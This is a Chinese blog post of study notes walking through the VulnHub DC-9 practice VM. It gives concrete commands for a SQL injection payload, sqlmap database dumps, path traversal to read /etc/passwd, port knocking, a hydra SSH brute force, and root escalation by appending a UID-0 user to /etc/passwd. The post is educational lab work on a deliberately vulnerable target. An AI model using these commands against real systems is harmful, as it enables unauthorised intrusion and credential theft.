【vulnhub靶机】DC-9 靶机练习 学习笔记

作者:Yshower | 发布时间:

靶机信息

获取链接:DC:9

7558474b28c4

8928c3c5bc72

过程

首先使用arp-scan进行主机发现,命令arp-scan -l

  • af959b36d6ee
  • 分析:因为处于虚拟机环境中可以排除“.1”,“.2”,“.254”,最终可以确定目标机为“10.10.10.131”

既然获取到靶机IP了,下一步使用nmap进行端口扫描,nmap -T4 -A -p- 10.10.10.131

  • 54a704bd5090

    分析:可以看出靶机操作系统为基于Debian的Linux,并且检测出两个端口,其中80端口为开放状态,22端口流量被过滤状态。

  • 注:80端口为http服务默认端口,22端口为ssh服务默认端口。

首先查看其http服务,进入其网页查看可发现的信息,进入后可以发现其网页为一个员工管理系统,其中有四个标签,我们一个个分析查看

  • 53ff3b4c40e508b6789826c863f0fa1f2490

    b387d2bafd69

  • 分析:
  • 第一个标签为欢迎界面,对应文件为index.php,没有什么可用信息。

  • 第二个标签有员工信息,对应文件为display.php,可能有可用信息。

  • 第三个标签有一个搜索框,对应文件为search.php,这可能是一个注入点。

  • 第四个标签为登录界面,对应文件为manmage.php,可能为一个爆破点。

我们先在第三个标签search界面试验一下SQL注入,看看是否存在漏洞,输入1' or 1=1 #,然后点【submit】提交。

  • 89ebb05488da

 

  • 分析:其返回的数据可以看出其存在SQL注入漏洞。

下面我们使用sqlmap工具进行SQL注入攻击,首先使用命令sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -dbs跑数据库名。

  • e2909b597277
  • 分析:这里我们可以看出其数据库里有三个库,库名分别为“information_schema”、“Staff”、“users”。

其中有一个users库,我们首先爆破一下这个数据库中的数据表,使用命令sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -D users -tables

  • c3f8a5f6a88b

    分析:可以看出users库中有一个UserDetails表。

只有一个表,使用命令sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -D users -T UserDetails -dump将UserDetails数据表的数据爆出来。

  • 643c59bb6fb4

    分析:此时表中数据已经爆出,按照我的习惯,先将其数据复制到一个userdatax.txt文件中暂时保留数据。

暂时先放着不管,再查看另一个Staff库,使用命令sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -D Staff -tables爆破一下。

  • da90b6b9b7f9

    分析:其中两个表,“StaffDetails”和“Users”。

首先使用命令sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -D Staff -T StaffDetails -dump查看StaffDetails表中数据。

  • 73b8a16e0fe9

    分析:此数据表中存放着员工的数据。

使用命令sqlmap -u "http://10.10.10.131/results.php" -data "search=1" -D Staff -T Users -dump查看Users表中的信息。

  • de214e1066dc

    分析:此表里有一个admin账户和密码,但是密码是加密的,首先想办法加密,看字段猜测是md5加密。

尝试md5解密。

  • 77d013af6e15

    分析:解密出来了,密码为:transorbital1

登录一下后台试试看。

  • 51c4e531c544

    9fc01374c3ff

    分析:已经登录进来,可以看出多了一个【Add Record】选项,直接点击该选项,并没有什么有用的东西,看到下面有一句话File does not exist

猜测可能存在文件包含漏洞,所已再manage.php的url处,接入file参数,读取/etc/passwd文件,在url后面加入?file=../../../../etc/passwd

  • 4dc490c4c681

    分析:发现的确返回了/etc/passwd文件。

但是到这里发现没有点继续进行下去了,然后再次整理一下前面获取的信息,发现22端口流量是被过滤的,我们可以猜测可能是存在knockd服务,查看一下/etc/knockd.conf

  • 9155886358e7

    分析:注意knockd.conf文件中的的sequence值,可以使用它们进行敲门。

使用nmap分别对7469,8475,9842端口进行敲门,然后再扫描一下端口。

  • 20f03dc02117

    3270d5847720

    分析:这时候我们可以看到22端口已经开放了。

这时候我们将之前users库里面UserDetails表中的”username“和”password“字段分别编成user字典和pass字典。

fd3b047be872

740c18f166ad

然后使用两个字典进行爆破,命令hydra -L userx.txt -P passx.txt 10.10.10.131 ssh

  • b6f8b5ff36ec

    分析:可以看出爆破出三个用户名和密码。

分别远程登录进去查看家目录下文件。

  • 1732ccc153c9

    分析:可以看出janitor用户下面多出一个目录。

进入目录查看一下。

  • 63395ec7bb1a

    发现那个目录下有一个文件,查看后发现好像是几个账户密码。

我们将这几个密码加入到之前的密码字典中,再次爆破一下。

  • 0fb5b7542c82

    分析:这时候我们发现一个新的用户。

使用sudo -l查看是否有sudo命令,登录另一个用户也查看一下。

  • aa85d7a3691b

    b56e0f560404

    分析:可以看出新用户家目录下没有什么但是有一个脚本文件可以无密码使用root权限执行。

进入目录查看有什么可执行文件。

  • 6593ecd4becb

    分析:在/opt/devstuff目录下有一个python脚本文件,查看后发现这是一个写入文件脚本,生成密码用root权限执行脚本写入/etc/passwd

现在我们就可以构造一个一个拥有root权限的用户,然后在/etc/passwd文件中储存,首先在kali中使用openssl工具创建一个本地加密用户,命令为openssl passwd -1 -salt admin1 admin1,然后在靶机中进入/opt/devstuff/dist/test目录中,使用echo命令在/tmp目录下创建一个文件,命令为echo 'admin1:$1$admin1$QDqsIRd5/oAdiXk0vdS1C/:0:0::/root:/bin/bash' >> /tmp/test0,然后使用命令sudo ./test /tmp/test0 /etc/passwd使用sudo命令执行文件将内容写入到/etc/passwd文件中。

  • ad16114a985c

    6d0668f0497c

然后通过su命令进入我们添加的用户admin1。

aa4eb254d7ad

进入root家目录查看,发现flag。

fcf55d843c17

 

 

标签:实战分享, 渗透技巧, 思路分享, 靶场学习